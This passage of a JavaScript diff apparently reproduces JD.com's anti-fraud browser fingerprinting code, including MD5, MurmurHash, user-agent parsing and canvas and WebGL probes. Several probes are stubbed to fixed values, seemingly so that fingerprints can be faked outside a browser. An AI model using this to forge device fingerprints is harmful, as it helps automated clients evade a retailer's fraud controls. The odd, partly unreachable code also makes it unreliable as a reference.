b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 